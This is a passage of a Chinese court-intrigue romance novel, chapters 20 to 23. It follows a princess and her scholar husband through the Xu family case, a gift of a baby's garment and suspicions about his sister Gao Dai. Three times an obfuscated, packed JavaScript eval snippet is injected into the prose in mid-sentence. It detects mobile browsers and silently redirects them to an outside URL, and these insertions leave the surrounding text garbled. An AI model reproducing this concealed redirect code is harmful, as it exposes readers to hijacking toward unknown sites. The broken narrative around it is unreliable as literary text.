正题原来在此,萧迁如释重负,抬手点了点齐光,轻笑道:“高学士有如此胆识,倒是孤兰艾同焚,一直委屈你了。” 既然不再说暗话,齐光只有更加直白,诚意款款,道:“其实抛开其他不论,大王与徐家的婚姻是陛下亲赐,单这一点,陛下便不会重责。况且徐孺人生下了皇长孙,陛下尤为疼爱,又岂会令皇长孙为母家蒙羞呢?” 这番听上去最像是劝解的话,说的也都是尽人皆知的事,但萧迁此刻听到耳内,却俨然是一种微妙的提醒,让他不禁心气一提,半晌不觉,面容发僵了才缓缓聚起神来: “高学士与徐家有什么渊源么?” “臣一介寒士,岁初才进京,与徐家从无旧故。”齐光平和答道。 萧迁微微皱眉,也不觉他有所隐瞒,又问:“那这些话,总不会是高琰教你的吧?” 齐光抿唇一笑,忽然起身向萧迁拜了一礼:“臣今日来,句句是真言,惟愿不负高相所托——亦愿不负大王。” 并不穿风的幽静内室,萧迁却忽觉周身透凉,启唇又闭,辗转多时才慢慢伸手压下齐光一臂,望着他雪亮的目色,道: “高学士不仅是学士,还是许王师,你不该辜负的怎会是孤呢?” 齐光直起身来,并不改色,道:“臣不会一直是许王师,就像大王不会一直是‘大王’——臣欲得君行道,要做的自然是朝廷的命官。” 萧迁惊异地看着他,但起伏的心意却渐渐平落:好一个高齐光,好一位清流出身的读书人,竟是包藏凡心的当世周子,求的不是高洁隐逸,而是一道赴陇的鹤书。 20.樊笼中物 孺人徐氏披衣坐于榻上,内阁中弥散着连日积攒的药气,但她的脸色已因意外到访的安喜长公主而变得几分明朗。只不过,因高慈也在场,终究也没有她做主的份。 身为侧室,徐氏大多场合都不得跟随肃王左右,故此同霞虽早闻其人,今天还是第一回照面。待将一些寒暄的虚礼见过,细细打量这女子,再端详高慈的神态,同霞只觉此间气氛令人好笑。 好笑便是妙处了。 “你啊,凡事总要往好处想。”同霞将目光自高慈转回徐妃,似闲谈般说起来,“你父亲一时糊涂,说到底也不是什么十恶不赦的大罪。如今在外有许国公关照,于内,王妃也很体恤你的心,你便安心静养,无须思虑过重。” 徐氏对同霞的名号则是如雷贯耳,但初次亲近便是这样的场面,她也只得将千恩万谢收敛了许多,眉目低转,先对同霞颔首一笑,又带过了一脸僵色的高慈,方柔顺地说道: “妾何德何能得公主与王妃如此厚待,家父既枉法,理该依律惩处,妾并非是想要为父亲求情,实在是心中有愧,觉得辜负了陛下天恩。” 一语未了,同霞已听高慈轻哼一声,便回首看,又见她忽然起身,换了一处靠窗的杌凳坐下,眼睛只往户外随意漫视。 徐氏也见状,领会其中奥义,仍将眉眼低去,跪坐起来,道:“妾毕竟尚未痊愈,只恐……” “你躺好便是。”同霞知道她要说什么,却不让她说完,伸去双手将人扶住,索性与她并坐,忽见里侧榻角摆了一只瓷兔的玩物,暗暗抿笑,说道: “你的长女,我记得是皇后娘娘取的名字,叫阿琬,今年有四岁了吧?那熙郎也快足周岁了。瞧瞧,这儿女双全的福分可真叫人羡慕。” 她骤然提起孩子,于高慈却是一等的大忌,本已心怀忐忑的徐妃更添一惊,可对视那双盈盈含笑的双眼,却又似乎体察到了什么,身躯渐渐坐直,缓缓道: “公主能记得如此清楚,才是这两个孩子的福分。” 同霞微微点头,亦暗暗吸气,一味祥和的面容上增添了几分并不明显的赞许,又道: “熙郎深受陛下喜爱,想来到了周岁生辰必有封赏,或者两个孩子都有赐赏也未可知。阿琬自是一位县主,熙郎么——” 说着将余光偏向高慈,见她到底是在意了,也转来目光,悠悠然方继续道:“熙郎也必有一个郡公的爵位等着他呢。” 皇朝亲王女按制皆封县主,至于男孩,嫡长子自然会承袭父亲的爵位,为嗣王;余者无论嫡庶,除开特别恩封郡王者,最高也不过是一个郡公的头衔。 故此,徐氏所生的萧熙,就算贵为皇长孙,常理也只得封为郡公——同霞并没有说错,但分入高慈与徐氏的耳中,便是各有心肠了。 徐氏一副惶恐神色,立马回道:“他们还小,什么也不懂,哪里就配得封爵了呢?公主就算是取笑,妾亦万分不敢承当!” 封爵的年龄有早有晚,并无定制,但同霞既是有意说来,便也不欲详细理论,仍作温和含笑,揽扶徐氏,又替她捋了捋鬓边的碎发,这才终于等到高慈开口: “姑姑好心来看你,又乐意说些好话给你听,望你宽心开怀,早日痊愈,真算是莫大的恩宠了。你就不要矫情扫兴也罢了,反正姑姑所言又不是陛下圣旨,等来日成真了,你再请辞不迟!” 她虽是笑着说来,言辞语气已掩不住奚落之意,不及徐氏回应,起身走近,又对同霞道: “姑姑和徐妃这样投缘,时辰都已晌午了,大约大王和高驸马也说得差不多了,妾这便去后头看看宴席备得如何,免得下人不知轻重分寸,疏忽了礼数。” 话音一落,她便欠身行礼而去。同霞并不戳破这不留余地的转身,顿了顿,仍朝徐妃一笑: “可惜你还不能出门,否则带了两个孩子,再叫上袁孺人也带着二郎,我们一家子聚宴多热闹。” 许因阁中再无压制徐氏的人,她望向同霞的双目中忽而闪出了泪光,开言亦哽咽:“妾先前所言句句肺腑,公主与妾初见,待妾如此,妾当真无以为报。只是……” 病中的美人泫然欲泣,苍白与忧惧交织,同霞也不觉心生怜悯,联想到了一个与她十分相似的人,萧遮的母亲赵德妃。半晌轻道:“只是什么?你放心说便是。” 徐氏道:“妾到底只是一个侧妃,父亲也并无实职,此番获罪,家道就更不堪了,所以妾从无非分之想,只想看着两个孩子平安长大,不要受妾的连累。” 徐纵尚未定罪,肃王也对她宠眷未衰,她亦明明知道有高琰相助,徐家断不会“不堪”,更何况还有皇长孙傍身,却仍摆出这副杞人忧天的态度,同霞不禁有些迷惑,眉心微微攒起。 徐氏却似不察,又含泪展颜,转对帐下侍女吩咐了什么,很快竟捧来了一套婴孩的裹衣,说道: “妾所有的东西里,金银珠玉皆是俗物,唯有这件熙郎弥月时穿过的衣裳,是陛下和皇后所赐,妾从来珍视。今日就赠予公主,愿公主与驸马早得贵子,亦儿女双全。” 以健康孩子的贴身衣物当做祈求生育的吉祥物,倒是坊间不分贵贱的风俗。同霞垂目细赏这与崭新无异的裹衣,衣上散发的馨香沁入鼻腔,眉心的折痕已不觉舒展—— 这礼赠得别出心裁,和她的思量一样呼之欲出而又不可言表。 “多谢,承你吉言了。”同霞欣然接受了她的馈赠。 * 齐光不知同霞在内院的情形,同霞亦难知齐光究竟如何说动了萧迁,于是花厅席间,夫妻虽相与应酬,每每目光交错都有揣摩,或是一人说话,一人便暗暗观色。 待到聚宴散场,萧迁亲将二人送至府门登车,彼此并坐,倒是不约而同一齐发了话: 同霞笑道:“我得了一样好东西!” 齐光是问:“王妃可有怠慢你?” 声音虽重叠,两双耳朵却都听清了,都一顿,相视而笑。同霞偏了偏脑袋,率先道: “为什么这么问?她在席上还为我斟酒布菜,你难道没瞧见?” 齐光只是觉得眼见为虚,毕竟今日到访的要义在于“徐家”,高慈难免会怨形于色,但想来,高慈再无分寸,也不会以东主身份欺长辈,便点点头,道: “果然没有就好,我只是怕你因为我的事白受委屈。” 同霞却觉有趣,挑眉一笑,又问:“我看肃王待你倒也十分亲和,看来你是幸不辱命了?” 齐光有片刻停顿,旋即仍点头:“肃王与高氏的关系本是无法离断的,徐纵案既是个意外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768194|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高相又愿相助,他也不能再说什么。我只将事实摆开说明,他便心如明镜了。” 他的神色一派平和,仿佛只是简单地传话,不必思虑结果与长远,同霞凝视他的一双瞳仁,似觉他有隐忍,却终未见一丝波动,“嗯,肃王的确不是一个不聪明的人。” 抿了抿唇,随口又道:“其实,肃王是很像陛下的。” 齐光略觉讶异,方欲问什么,又听她继续道:“听闻他的生母在世时也很受宠,虽没福气等到陛下即位,在东宫的班位也是仅次于太子妃的良娣。” “你的意思是,陛下心中终究属意肃王?”话一出口,齐光自先一惊,只觉失口又失态,脊背一挺,目光转避前方。 同霞将他仓促的样子尽收眼底,却只无声一笑,反将他手臂挽住,侧脸靠在他肩上,道: “我只是觉得肃王容貌生得像陛下,不是别的‘像’——但不过,若陛下当真以他为储,你的前程就更好了,也省了你多少心思,省了高琰多少担忧。” 背上已有汗下,他竟不知自己缘何忽然没了底,简直放诞,简直荒谬,仍不敢稍动目光,强忍道:“那么……你方才说得了好东西,是什么?” 徐氏赠予的婴儿裹衣装在了一只平底方盒中,先前皆由随侍的稚柳捧着,但登车之际,同霞已接到自己手中,她不信他从未注意,也明白,他现在是有些骑虎难下。 “喏,就是这个。”他既难下,她便推上一推,展开方盒呈送他面前,便将其中故事娓娓道来,又巧笑问他道: “是不是好极了?再没有比这更好的礼物了——稍待到家就送给冯贞,她生了孩子就能用上了!” 他的心情才如悬崖勒马,这时却已坠深渊,暗无天日。 “如此贵重异常的礼物,我不许你送给冯氏!”然而,足够长的沉默之后,他却咬牙切齿地向她下了一道命令。 同霞从未见过这样的神情,恼怒而苦恨,威严却悲愤,混沌的目色无法透视他真正的内心,亦或是她生疏至极,根本无从琢磨。手中的力气不觉松弛,方盒翻落至地,裹衣却挂在了他的膝头,她不知该不该去捡。 可下一刻,他转作温和,甚至隐隐带了一丝笑意,拾起裹衣重新叠好,托来她一只手,将衣裳郑重地交还,说道:“因为徐孺人是赠予你的,别人的孩子,不配。” 别人的孩子,不配…… 同霞再也不知如何说起,握紧衣裳掩入袖下,逃避一般扭开了身躯,扑在窗前深深吸气,却又觉腰间卷来一双强劲的臂弯,欲替她拨乱反正,重整视听: “霞儿,新婚之夜,你曾说过你的心中只有我,若不是骗我的,以后就不要再说这些了,好不好?” 他夹带恳求的口吻,同霞却觉是无赖般的要挟,可她分明是说过这话的,骗与未骗竟难以辩驳了。 她发现自己掉入了一个陷阱,原是为他所设,不意也成了自己的樊笼。 然而,他的深情,甚乎是专情,此时此刻,又断然无法脱开他是掩饰野心的嫌疑。 同霞感到深深的乏力,因为她也有无法表露的诡计,因为她从来就没有论断他品行的资格,还因为,她生来就没有清白做人的权利。 “好,是我错了。”她回身重新靠入他的怀里,安然道。 21.君怀不开 高琰果然不曾食言。 夫妻到访肃王府后未有几日,徐纵案便有了结果,只罚了他一年的俸禄,就再无任何刑罚。他既在勋贵之列,所犯又非大恶,如此惩处虽因各方关联显得有些轻描淡写,终究也不算件稀罕事。 只不过,议论却在所难免。 一则,皇帝初知案情便将行贿买官之人罢了职,却一直不曾发落主犯,最后却是由高琰进言,皇帝才即刻下旨。这很容易让人猜测,皇帝本就想从轻处置,只是在等待一个合理的台阶,而高琰近来颇不得君心,此刻相时而动,也算投机。 另外也有人疑惑,高琰之女和徐纵之女皆是肃王内眷,王妃无子少宠,而徐妃宠眷优渥,这高徐两家本该是对头,高琰正被皇帝疏远,也大可冷眼旁观,何苦要做这无利可图的事? 却也有心如明镜者解惑,说高琰其实是高瞻远瞩。徐妃毕竟生下了皇长孙,皇帝迟迟不决,维护之心溢于言表,高琰选择帮助徐家,既可笼络君心,为自己解围,也算是示好肃王,为长远计—— 高家的女儿就算没有子嗣,也并不妨碍入主中宫,而此事的前提,便是肃王将来的前程,世代荣华皆系于此。 凡此种种,同霞自然属于“心如明镜”的一派。只是也心生好奇,皇帝必也知高琰的心肠,却会如何看待呢?若皇帝当真属意肃王,来日她扳倒了高氏,皇帝又会不会为肃王而对高家网开一面? “霞儿?霞儿!” 人入迷津,思入穷巷,恍然回神时,只觉耳后滚烫,额上却有冷汗沁出,望见齐光满目忧色,又添了一重心虚:“怎么了?” 齐光皱眉摇头,放了手里的粥,取来帕子为她拭汗,“你点名要的百合糖粥,不想吃了么?昨天夜里便睡得不实,是困了?” 同霞还有些发愣,这才想起来,原是午膳吃得少,被他问起,自己便说菜式不合口味,只想吃甜的。等稚柳做了粥来,他端在手里搅动散热的工夫,自己便走神了。 “没有啊!”她摇摇头,尴尬地偏开脸,自去端了粥,闷头连吃三勺,鼓囊着嘴巴又暗递余光,探查那人的眉目。 她一副贼眉鼠目的样子,也不管是吃半勺漏半勺,只胡乱往嘴里填塞,从口角糊得满腮也浑不觉。齐光见此奇景,无奈得好笑,又只觉怎会有人这般俏皮的淘气,一时也词穷了,只得没收了她的碗,将人转到面前,翻过帕子替她揩脸。 同霞打量他的神情,隐含笑意,并不像要究根问底的,乖乖等他擦完,便问道:“你喜不喜欢吃糖粥?除了糖,我最喜欢糖粥了,糖饼也行。” 齐光吸吐了口气,笑道:“只要是甜的,你怕是没有不喜欢的。”牵起她的手,同向她鼻梁轻轻一刮,又道: “不过,那日肃王府席上,那道蜜糖金乳酥却未见你动过,乳酥糖你倒是日日不断。” 他应该是随口提起,同霞却不料他当时看得那么仔细,想了想,道:“寻常的金乳酥我是爱吃的,但肃王口味特别,喜欢在酥饼中添加一层肉馅,荤腥甜腻交杂,我就不喜欢了。” 齐光当日不为饮宴,除了注目同霞,只在萧迁与他祝酒时动一动筷子,因而也没有尝过那盘金乳酥。这时细想,他倒是从未问起过她的饮食喜好,只大致回忆得出,她的饮食虽精细,却似乎少见荤腥。 不是出家修行的人,更非不能温饱的贫民,若由来不喜肉食,或至根本不碰荤腥,那只能是天生脾胃有疾。她也曾说过,她是八月而诞,先天不足。 同霞并不觉自己的回答有何不妥,见他面露凝色,问道:“怎么了?各人有各人的口味,这很稀奇么?” “霞儿,你是不是生来脾胃虚弱,吃不得荤腥?” 齐光索性趁机问明白,又想起从前高黛研习医术,他也听到过一些医理,人食五谷为养,食五畜为益,饮食均衡方可补精益气。似同霞这般先天本弱,再长期茹素,断非保养之法,便又问道: “你在宫里时,太医是怎样为你调理身体?难道就是用药代替食肉?就没有根治的法子?” 同霞这才后悔不及,一句喜不喜欢糖粥,竟惹他猜测至此,可这饮食上的破绽,数月来也不是没有显露过,终究是要面对,也应该想一个完善的理由。 “你太聪明了,什么都能看出来,我是一点秘密也没有了!”片刻后,她作遗憾状叹气,又缓缓点头: “听幼时保母说,我生下来只有小猫那么大,好容易活到三四岁,还走不稳路,也只能进些稀粥菜泥,但是倒很能吃糖。医官说,我那样子只要能吃,不管什么都好,所以我也算靠糖活了下来。再大些便才尝试肉菜,只不过……” “什么?”齐光听得满心焦灼,只想她生在帝王家,金尊玉贵,医药齐备,竟也受过这些非常之苦。 同霞一笑示意他稍安勿躁,仍细细说来:“我闻着荤腥气就作呕,尤其是鱼虾,他们又为我剁成肉泥,这碎肉的气味就更重了。终于到六岁时,稚柳来我身边服侍,她的手艺极好,能把肉菜做得既看不出,也闻不到。后来渐渐大了,体格好些,我也能吃些撒了香料的炙羊肉,或者葱醋鸡,但终归不大刻意想着。” 齐光听来不住点头,说道:“我记住了,你还是不喜肉味,非得以佐料遮盖才可。” 同霞抿唇一笑,明白这关是过了,“你记这些做什么?难道学士不做改做庖厨?我倒不信你能比稚柳强!” 齐光半晌没有回应,眉心却悄然布上一个暗结,抬起手抚向她的脸颊、鬓侧,直至耳畔、肩后,终将她揽入怀中:“我不知你过得这样辛苦,我原该早些发现的,对不起。” 同霞一瞬有些恍惚,心意起伏,只觉有两种情状割裂对峙,一面知道他指的只是饮食,另一面又分明想起了生而不幸,忍辱偷生。 此时此刻的温存,也不过就是须臾的行乐。 两人相依有时,没再说话,不意却被突然传来的一阵吵闹声惊动,双双直起身来。 虽然此地空间狭小,寻常的动静也不至于传到前院门窗关闭的房中。况且并不止一人的声音,其中最高的竟是冯氏的叫嚷。她素日拘在后舍,劣迹虽多,倒是头一次闹开来。 同霞因而多是好奇,却见齐光已面露愠色,向她稍示安抚的眼神便急欲出门,却被迎面进来回话的稚柳阻下: “回公主、驸马,是冯娘子的安胎药不慎落了墙灰,她便发了大怒,说小婢故意害她,高娘子去劝,也被她摔碗烫到了手……” 稚柳也是头次传这样的话,说得滞涩又为难,可齐光再不能忍受片刻,不及听完终究冲出门去。 “公主,要不要去劝劝?” 见同霞仍在原地,稚柳只得求问,但同霞一味气定神闲,缓而方道:“冯贞怎会突然不管不顾了?偏选今日驸马在家的时候。” 稚柳想想道:“有孕的人心情不定,产期愈近也容易焦躁些,她又一向同高娘子不睦,大约是要借题发挥。只是,自公主过来,驸马一次也没有理会过她,她想必是不会如愿的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐光的眼神稍稍一顿,将她的手握下,仍先替她盖好被毯,方道:“事情就是稚柳禀报的那样,熬药的炉子因摆在墙边,厨间的墙壁本也有些失修,引绿看药时没有察觉,终究不是大事。” 舒了口气,又道:“你叫稚柳送去的药膏,阿黛已经用了,她让我多谢你。” 同霞问的是冯贞如何,他却只字不提,若算是避重就轻,又是孰重孰轻? 不言而喻了。 她笑笑,拉过他未曾远离的手,将脸枕在了他的小臂上,“阿黛姐姐是你一母同胞的亲妹妹,原就不该叫她操持琐事,引绿舒朱也不该服侍别人。所以我想了个办法,就叫李固在这条街上再租一间门户,另从公主府拨些侍女来,让冯贞单独住去,可好?” “李固已经去办了么?”齐光自有些吃惊,但并没思考多久,俯身到她面前,笃定地点了头:“好,一切依你。” 他离得这么近,额面相触,呼吸都打在她脸上,她索性朝里侧退了退,挽了他一起躺下。执手相看,彼此眼中都含笑意,一如寻常静好的时光,似可无言到老。 但半晌后,同霞还是点破了平静:“我听说,有孕的人心思敏感,将要临盆,心情也会烦躁些。冯贞一直也不曾多事,今天一时失态,我们多担待些就是了。我叫她别院独居,也是想着孩子生下来后,再添乳母侍娘,需要宽敞的地方。” 齐光听来,却将眉头越皱越深,是副失望又无措的神情:“你是这样想的?” 同霞是看着他舒展的面孔一点点变成这般的,只稀奇地反问:“不然呢?我该如何想?” 22.抽刀断水 遵照同霞的吩咐,不出两日,李固就在高宅对面的细巷里定下了一间合适的小院。随即遣人洒扫布置,隔日便将冯贞挪了过去。 冯贞自知晓公主要令她独居起,便未置一词,众人只当她是不得不顺从。却不料搬离之际,她居然捧着臃肿身子,十分恭敬地向正房门内跪拜了一礼,又口呼谢恩。 同霞原无意与她多说,忽见她如此,不由好奇,思量片刻,也只让稚柳出面将人扶起,送到了对面。然而,当稚柳了事回来,还不及回话,却听同霞感叹道: “你看,冯贞其实是知道好歹的。” 稚柳想来说道:“公主拨了六个人服侍她,又让医官给她看疗,她岂能不感恩戴德?这是应该的,算她还有些良心吧!” 同霞却含笑摇头,垂目理了理衣袖,便已快步走出屋外。 稚柳不防,愣了片时才悟出同霞的意图,忙追上去问道:“公主何苦这样委屈自己?” 同霞仍抿唇摇头,并不回答,待进了冯贞院中,见她正在侍女的搀扶下环视观赏,又主动道:“可还满意?” 冯氏这才惊觉,慌忙又要下跪,被同霞示意侍女搀住,“礼是行不完的,还是坐下来说说话吧。” 冯贞暗暗咬唇,目光时低时抬,还不知回些什么,公主便与她擦肩而过,径直去了里屋。她跟去前,不由按了按胸口。 一张新搬来的壶门桌前,同霞叫她与自己相对而坐,细细看过她的忐忑,问道:“我知道你与驸马是表亲,那你的家乡也在清河郡么?” 冯贞不敢直视,轻吐了口气,回道:“我家在河阳县,我的父母,还有姨母都是河阳人,姨母是随姨父嫁去清河郡的。” 同霞早知冯贞是家贫无计才投靠高家,只是并没问过他们族中的细情,点头又道:“那你河阳家中还有什么人?” 冯贞低声道:“父母都没了,还有个哥哥,只是他娶亲后,嫂嫂不愿白养着我,就让我到姨母家去了。” 同霞听来不禁抬眉,不意她的境遇竟与自己有些相似,好笑地弯了弯嘴角,道:“你姨母不知道你家的情形么?既是这样亲近的关系,也该为你讨个公道才是。” 公主如此关切这些家事,冯贞虽不明白,渐也放松下来,稍稍抬起了脸,“因为分隔两地,两家其实少有往来,哥哥倒是陪母亲去清河郡探过亲,我那时还小。” 原来这一对表兄妹并没有青梅竹马的情谊,这倒是可以解释高齐光由来对她的冷淡。但,她的肚子实在也无法避开,同霞注目一时,缓缓伸出了手。 这举动不难理解,冯氏亦未曾犹豫,托着腹底,向前倾了倾身子。同霞抚触到的一瞬,一阵酥麻自指尖迅速蔓延到臂上,麻中又带痛,如蜂蜇般,令她很快就缩回了手。 “你安心吧,我会让驸马尽快为孩子取个名字的。”为了掩饰莫名的慌乱,同霞随口道。 冯贞却若有所思,两片唇反复抿磨,忽而扶案起身,下了什么决心般,跪在了同霞脚下: “我已看清楚了,表哥只是为姨母的嘱咐才收留我,可公主却是个善心人。我愿意把这孩子送给公主,为奴为婢也好,只求一口饭吃!” “你!”同霞大为吃惊,忙伸手去扶,却没能抵过她的坚决,无奈又无措,“不论是依你的名分,还是你与驸马的亲缘,你们母子都不会无依无靠,你实在不必如此!” 冯贞却又仰起一双含泪的眼睛,哽咽道:“公主是不相信么?我可以发誓,不要名分,表哥也不会再见我!” 同霞只道她是个粗鄙少教的人,此刻竟也从她的面上望见了凛然之情,一时心软:“……总之,你不会再受孤苦的。” 冯贞眉心未开,又道:“我再告诉公主一件事吧,公主知道了,就能相信我的诚心了。” 她已语出惊人,同霞实在想不到还能有什么事,皱眉思量,终究道:“你,说吧。” 冯贞缓缓道:“公主要多留心高黛,她好像不是高家的女儿,也好像与表哥的关系不一般。” 竟然是这件事!竟然——真是这样! 同霞只觉胸膛一震,嗓中便有一股腥甜的气浪直冲上来,咬牙强忍半晌,瞪视她道:“你说清楚!” “我到高家之前虽没见过表妹,但我记得很清楚,我娘曾多次说起过,表妹生得丑陋,左眼天生歪斜。这是姨母的一块心病,怕她将来嫁不出去。” 高黛的相貌,同霞当初第一眼见时,便是觉得她的一双眼睛格外灵秀……无语到了极端,同霞只是控制不住地倒气失笑,一双手冰凉僵硬,已动弹不得,微微颤抖。 冯贞并看不懂同霞的心思,只觉她很生气,应该是信了自己的投诚,便趁热打铁,继续道: “所以,我第一次见到高黛就觉得奇怪。奈何当时姨母尚在,她们母女相处倒很平常,我寄人篱下,便也不好说什么。后来,姨母临终将我托给表哥,我有心愿意,却总不得他待见。凡有事,他只关心高黛的长短。就像前几日,我没忍住朝高黛撒气,他那样子,简直要生吞活剥了我似的。” 言及此,冯贞哀怨地叹了口气,低头抚了抚肚子,才道:“这孩子还是有一次他吃醉了酒,我去照顾他……反正,他不喜欢我,也不会喜欢这个孩子。” 若说冯贞所言表妹相貌之事还存在一丝谎言的可能,那她后来的话,竟是令人不得不信了。因为那些都是同霞亲眼所见,甚至那孩子的由来,也与高齐光所说的一样。 “我知道了,但我不想所有人都知道。”同霞已归于平静,离开前只冷冷地抛下这一句。 * 这座新院也是内外两进,同霞径自走到前院,方见原本守在里屋外头的稚柳。她正以身拦在路前,与高黛说着什么。 “我将冯氏移居此处,正是为阿黛姐姐省心,姐姐何苦还要来操心呢?”没有多余的考量,亦无缓和的寒暄,她只扬起颇不经心的淡笑反问,于高黛面前站定,又道: “现有六个人服侍冯贞,过几日还要添几位乳母侍娘,姐姐还有什么可担心的?” 她话露锋芒,高黛一瞬愣住,再看向这才退避一侧的稚柳,心里更添了几许疑惑,只好先解释道:“公主用心良苦,我只是听闻公主亲来探望冯氏,怕她失礼,徒惹公主生气。” 同霞并不怕她感到不适,仍一轻笑道:“她是不如姐姐知礼,但论起来,她虽算不得你的嫂嫂,也到底是你的亲表姐。你满口‘冯氏’的唤她,我看也不大好吧?” 看见她的脸色一白,又道:“难道姐姐见她不得你哥哥的怜爱,也嫌她是个累赘不成?她的孩子生下来,也是要叫你一声姑母的。你也希望你哥哥的孩子从小不知礼数么?” 高黛再说不出一个字,浑身紧绷,双手交握腹前,指尖近乎掐进自己的肉里。同霞依旧直直地望着她,由上自下,目光就停在她的烫伤的手背上。已经看不出烫伤的痕迹了。 片刻的静默后,高黛终究主动告退。 只待她走出门外细巷,同霞却突然气力不足,脚步虚晃起来。稚柳慌忙将她搀住,心中半知半解,担忧地问道: “妾才在门外都听见了,可是公主既不许冯氏声张,又做什么要这般奚落高娘子呢?万一她告诉驸马,岂不徒惹怀疑?” 同霞深吸了口气,缓缓向院内看去,道:“她无凭无据,告诉驸马什么?驸马无凭无据,又能怀疑什么?若他真来问我,我倒想先问他,那个与高黛定亲的秦非,到底还能不能找到!” 稚柳无奈叹气,将同霞从后揽扶住,劝道:“公主回去歇歇吧,这些都不是眼前的事。” 是啊,这些事都不是要紧事,甚至可以无关痛痒。同霞闭了闭眼睛,眼眶的酸涩慢慢消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788486|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退了。 * 高惑从弘文馆离宫,一路却是牵马缓行,又漫无目的,并不向光禄坊自己家中去。不知到了哪处,忽觉四下尤为吵闹方抬起头来,却见是一家酒肆门前,小工们正卖力招揽宾客。 他停下的这片时便已被盯上,一个清俊小工弓腰上前笑道:“小郎君看来劳倦,不如进去坐坐,本肆乳酿鱼是一绝,还有西慈来的葡萄美酒,尝上一口便可解乏!” 高惑只嫌他聒噪,不欲理会,挥袖便要走。然而眼睛划过二楼阑干,却是一惊。片刻后,再不必这小工多费口舌,他甩了手中缰绳,拔脚就冲进了店内—— “公主?!” 偶然入目的那张面孔,正是安喜长公主。数月未见,既是见不到,也是不能见,可这样的重逢,却令他什么也顾不得了。 他记忆中从来天真活泼的小公主,此刻却倚在窗台边独饮风露,两颊泛起酡红,也分明不再是胭脂染就的俏丽。他不知道发生了什么,但可以想见,她并不开心。 听到呼唤的安喜长公主懒懒地转过身,看见这位置绝佳的雅间里,闯进了一个稚柳和李固都没有拦住的身影。即使醺然的酒意模糊了视线,她仍很快认出了那人穿着的青褾深衣: “高惑,许久不见。”她笑笑,扬手示意稚柳和李固退下,又向那已如木石般的人招了招手,“过来坐啊。” 高惑一动未动,两拳在身侧攥紧,半晌方压抑问道:“公主为何一人在此?此地鱼龙混杂,不是公主该来的地方。” 同霞也不强求,又满斟一杯仰头饮尽,不慎从嘴角溢出些许,顺着她的面颊淌到颈下,没入胸口,“你真的不尝尝?店家说是西慈美酒,我觉得是骗人的,和进贡到宫里的一点也不一样。” 高惑不忍心地避开目光,道:“既然不好,何苦还要尝?既已尝了,为何还要多饮?”深深吸气,又道: “公主心中有何愁难?借酒消愁并不是什么好法子,连李太白也说举杯消愁愁更愁,不是么?” 同霞却噗呲笑出声来,身躯摇晃,髻上的翠玉簪碰在阑干上,反扯得她头皮一痛,她索性拔了簪子撂在案上,仍含笑道: “尝之前如何知道不好?浅尝辄止,我可不是这样的人。况且,李太白还说了,抽刀断水水更流,既不能断,抽不抽刀都是一样。” 她言语晦涩,又带了些赌气般的倨傲,高惑无从说起,终究将脸转了回去。当下日头已西,橙黄的夕照挥洒在她的衣裙上,叫人再辨不出原本的衣色,只是她的脸却压在一片阴翳下,也叫人看不清神色。 “高惑,你为什么到现在还在读书呢?”安静有时,同霞忽然问起他,声音平稳而平常,竟不带一丝酒意。 而高惑原并没有出神,这时却微微一愣,“……我还不足以为官。” 他确有不足,不足在于不会说谎,同霞无声一笑,撑腮于案,道:“你父亲位列朝首,姑母贵为皇后,长姐是王妃,长兄是驸马,独你一人,难道读一辈子的书么?” 高惑不堪地垂下眼睛,“我……没有办法。” 这倒是一句实话。若依出身,他早能够像高懋一样,门荫入仕,哪怕做个学官;若要参加春闱,以他自幼的天资,也必能列名三甲。他的无可奈何,不过就是因为命运给了他这样的家人,却又给了他庶子的身份,仁弱的性情。 但也正因如此,高齐光从天而降之前,同霞也才会认为他是个可堪大用的人选。 “其实这样也好,一辈子做个富贵闲人,万事不愁。” 同霞以安慰的口吻表达不能明言的歉意,可高惑却摇起头来,不可思议,竟至激动切齿: “我不愿意做一世闲人!我想要……” “你想做什么?!” 房门再次大开,与劈头的质问一道而至的,是驸马高齐光。 23.虺梦不祥 同霞并不意外齐光的到来,反因高惑在场,在看见齐光的一瞬,嘴角不禁暗暗牵动——这样荒唐的快意原来唾手可得。她于是佯作意态混沌,趴伏案上,喃喃道: “我走不动了,高郎,你过来。” 齐光早见她一副迷蒙之态,但无论怎样克制,一双眼睛仍愤怒地瞪向高惑,冷声斥问道: “你不想做一世闲人,该向你父亲去说,为何在此滋扰公主?难道你自诩君子,原来却是道貌岸然,如此私德不堪,欺侮公主,又有什么脸面,担得起什么前程?!” 熟悉的遣词不过正是上回见面时,高惑奉送齐光的,此情此景得到他的回馈,高惑却并不觉羞愧,正视他道: “我有没有滋扰公主,你说了不算,可你有没有亏负公主,你自己心中也该有个计算。” 话音未了,高惑便即阔步离去。李固与稚柳守在门下,端量房中情状,相视一眼,只有默默合上了房门。 同霞似已昏睡,齐光三两步跨到她面前,将她抱起,只觉她周身被风吹得冰凉,脸颊却发烫,深深攒眉,附耳轻唤: “霞儿,别睡,我们回家。” 